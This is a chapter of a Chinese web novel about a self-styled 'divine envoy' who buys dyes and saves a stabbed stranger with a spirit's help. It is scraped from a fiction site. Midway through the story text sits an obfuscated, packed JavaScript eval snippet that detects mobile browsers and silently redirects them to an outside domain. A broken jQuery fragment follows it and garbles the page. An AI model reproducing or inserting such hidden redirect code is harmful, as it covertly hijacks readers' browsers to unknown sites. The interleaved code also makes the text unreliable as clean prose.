文趣网 > 其他小说 > 祭山神 > 25. 血腥味
    见钱掌柜脸色变僵,她知趣地转移了话题:“钱掌柜,我进城时瞧见许多身穿官服之人,是出了什么大事吗?”

    钱掌柜闻言,脸色微微一变,随即又恢复如常:“姑娘有所不知,那是京城来的巡察使,说是要考察民情、巡视灾情。”

    林挽倾点了点头,心里却多留了一个心眼,装作不经意地问,“这都大旱五个月了,朝廷才想起来派人?”

    钱掌柜叹了口气,压低声音道:“谁说不是呢。朝廷……唉。”他长叹一声,没有再说下去。

    林挽倾听出了他的未尽之语,看来朝廷也不太平。不过,这些事离她太远,她管不了,也不想管。

    “钱掌柜,我得走了。”见钱掌柜还在那儿出神,林挽倾果断起身告辞。

    “我送送您。”钱掌柜回过神来,殷勤地陪着她往外走。

    拐过街角,林挽倾的脚步才慢下来。她左右看了一眼,见无人注意,才摸出钱袋仔细数了起来。

    二十两银子,正正好。

    她以袖掩唇,遮住自己高高扬起的嘴角。过了好一会,她才放下袖子,轻咳一声道:“走吧,去买点染色的原料。”

    徐老汉主动走到前面带路,“我知道有一家店,卖的染料实惠。”

    说完,他便带着一行人拐进一条狭窄的巷子,巷子深处有一家不起眼的铺子。

    “哟,徐老头,好久不见!”掌柜见是徐老汉推门进来,脸上挂起了揶揄的笑。

    “老周,我给你带贵客来了。”徐老汉往旁边一闪,露出身后的林挽倾。

    掌柜的目光落在林挽倾身上,这姑娘年纪不大,穿着也朴素,但站在那里气定神闲,不像是普通人。

    “这位是……”掌柜的试探着问。

    “这是我们东家,林姑娘。”徐老汉只字不提“神使”二字,出门在外还是谨慎为妙。

    掌柜的眼睛一亮,连忙拱手作揖:“失敬失敬!林姑娘,您随便看,我这儿的染料虽然不是什么名贵货,但胜在实在,价格也公道。”

    林挽倾在铺子里转了一圈后,报了几个名字:“茜草、紫草、苏木、栀子、蓼蓝、明矾......各来十斤。”

    “姑娘懂行啊。”这几样都是经典原料,不是行家不会点。

    林挽倾神色如常:“您算算,总共多少银子。”

    掌柜拿起算盘,噼里啪啦地拨了一阵道:“姑娘,一共是六两银子。”

    林挽倾从钱袋里数出六两银子,放在柜台上道:“劳驾,帮我打包。”

    吴永看着一摞摞布袋,咽了口唾沫,认命地弯下腰,一件一件地往身上背。

    刚迈出店门,他便迫不及待地问道:“神使大人,咱们现在回去吗?”

    林挽倾瞥了他一眼道:“回去。”

    眼看他走得气喘吁吁,林挽倾还是心软地接过一部分自己背在身上:“你这体力可不行。乡兵队长,哪能走几步路就喘成这样?”

    吴永嘿嘿傻笑了两声:“神使大人教训得是,我回去就练,一天都不偷懒!”

    半路上,一辆马车忽然从他们身边飞驰而过,扬起漫天灰尘,劈头盖脸地溅了他们一身。

    林挽倾下意识地往车上一看,可惜车帘紧闭,看不清里头坐着什么人。

    “什么人啊,赶着投胎似的!”吴永呸呸吐了两口沙子,愤愤地骂道。

    “神使大人,您没事吧?”徐老汉凑过来,小心翼翼地打量她的脸色。

    “没事。”林挽倾收回目光,拍了拍衣袖上的灰,继续往回走。

    话音刚落,一阵清风迎面吹来,帮她拂去了发间的尘埃。

    林挽倾偏头一笑,心下了然,是崇吾。

    然而走着走着,几人的神色渐渐凝重起来,脚步也不自觉地慢了下来。

    “你们有闻到什么吗?”吴永憋不住先开了口。

    林挽倾深深嗅了一下空气,眉头微微蹙起:“有血腥味。”

    有血腥味的地方,必有麻烦。可现代人的道德感,还是推着她往前迈了一步。

    林挽倾在心里叹了口气:罢了,去看看。万一有人需要帮助呢?

    三人循着血腥味往前走。路越走越偏,越走越偏,终于在一棵枯死的老树下,看到一个胸口中刀的男子躺在地上。

    他的血流了一地,脸色白得像纸,离死,真的只差一口气了。

    “这人……还活着吗?”吴永下意识地捂住了嘴,生怕惊动了什么。

    林挽倾没有回答,她蹲下身,伸手探了探他的鼻息。很弱,但确实尚存一息。

    可这刀正中心脏,即便她不是大夫,也看得出来他活不了了,如今不过是苟延残喘罢了。

    正当她准备离开时,一阵微弱的声音响起:“救……救……”

    这人无力地伸手试图挽留林挽倾,他拼命地想要活下来,可他的生命如同风中的烛火摇摇欲坠。

    “唉——”林挽倾长叹一声,还是动了恻隐之心,她轻声问崇吾:“你有办法救他吗?”

    崇吾摇摇头道:“我的神力不够,只能帮他止血,愈合不了伤口。”

    “足够了,能不能活下来,看他的命。”

    崇吾不再多说:“你把手放上去,我会暗中用神力帮他止血。”

    林挽倾点了点头,将手掌轻轻覆在刀口旁边,片刻后,一股温热的暖流从她掌心涌出。

    她深吸一口气,另一只手握住刀柄,干脆利落地拔了出来。刀身带出一股暗红的血,但很快血便缓缓停了下来。

    “血止住了。”崇吾的声音在她耳边响起,带着一丝如释重负。

    林挽倾把手上的血在衣角上蹭了蹭,转头看向吴永和徐老汉,“把他扶起来带回去吧。”

    徐老汉眼看血被止住,脸上的表情变了又变:“神使大人,您……您会仙术?”

    “我是神使,会仙术不是很正常吗?”林挽倾的语气轻描淡写,反而显得徐老汉过于大惊小怪。

    他想了想,好像确实是这么个理,遂不再多言。

    吴永倒没想那么多,他已经蹲下身把那人的胳膊搭在自己的肩膀上,一个使劲把人背了起来。

    “徐老伯,快来搭把手。”吴永喘着气催促道。

    “来了来了。”

    暮色渐沉,三人才回到村里。

    吴永实在有些扛不住了,忙不迭问道:“神使大人,这人放哪里?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623215|205922||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    林挽倾回头看了一眼:“我那间旧屋,反正也没人住,正好派上用场。”

    走进屋子,林挽倾微微一怔。这间许久未曾住人的屋子,竟出乎意料地干净。

    她站在门口,环顾四周,一股暖流缓缓淌过心田。这是有人一直在替她打理。

    徐老汉显然没发现她的触动,反而一门心思惦记着来路不明的人:“神使大人,这人会不会给村里惹麻烦?”

    林挽倾毫不在意道:“一个在别人眼里已经死了的人,能惹什么麻烦?”

    “我是说,他万一是什么坏人呢?”徐老汉眼里满是担忧。

    “坏人也好,好人也罢,先救活了再说。”林挽倾打断他道。

    但她没说的是,救活了,是好人就当积德了,是坏人便一刀了结了他。

    徐老汉张了张嘴,又觉得拗不过她,便放弃了劝说。

    两人轻手轻脚地将受伤的人放在床上,然后退了出去。

    “神使大人,要不要给他找个大夫?”吴永问。

    林挽倾想了想,点头答应了,“去吧,请隔壁村的刘大夫来一趟。就说……”

    她犹豫了一下道,“就说村里有人受了伤,请他来看看。”

    吴永应了一声,转身就要跑。

    “等等。”林挽倾叫住他,叮嘱道,“先别说是刀伤,就说不小心摔的。”

    吴永愣了一下,随即反应过来,点了点头,快步消失在夜色里。

    “徐伯,您也回去吧。”林挽倾看了他一眼,“今晚我让陈阿桂来守着。”

    徐老汉看她一脸不容置疑,只好“嗯”了一声,去喊陈阿桂。

    崇吾从她肩头滑下来,落在她膝上,仰头看着她:“你不守着他吗?”

    林挽倾靠在椅背上,闭了闭眼,“我总不能真在这守一晚上,明天还有一堆事要办。”

    崇吾想了想,觉得也是。

    不知过了多久,门外传来一阵轻快的脚步声。

    “神使大人?”陈阿桂的声音从门外传来,带着几分小心翼翼。

    “进来。”

    门被推开,陈阿桂提着一盏灯走了进来。她走到床边,看了一眼床上浑身是血的人,脸上没有一丝害怕,反而多了几分好奇。

    “神使大人,这就是你们捡回来的那个人?”她问。

    “嗯。”林挽倾站起身,把床边的位置让给她,“今晚你守着他,如果他醒了,就叫人去山神庙找我。”

    陈阿桂点了点头,很自然地从袖子里摸出一本泛黄的书,随手翻开就着灯光看了起来。

    “怕吗?”林挽倾摸摸她的脑袋问道。

    “我才不怕,神使大人会保护我的。”陈阿桂蹭了蹭她的手,仰头看她的时候充满了信任。

    “你倒是胆子大。”林挽倾看着她一副盲目崇拜的样子,哭笑不得,但还是没忍住安慰了一下:“这人伤得太重,连睁眼的力气都没有,不会伤着你的。”

    “神使大人,我不怕。”陈阿桂眼睛亮晶晶地看着她,一脸无所畏惧。

    林挽倾顺手又摸了摸她的脑袋,心里又好笑又欣慰。余光瞟见床上的人,眼里变为审视。

    这人,到底是什么来路?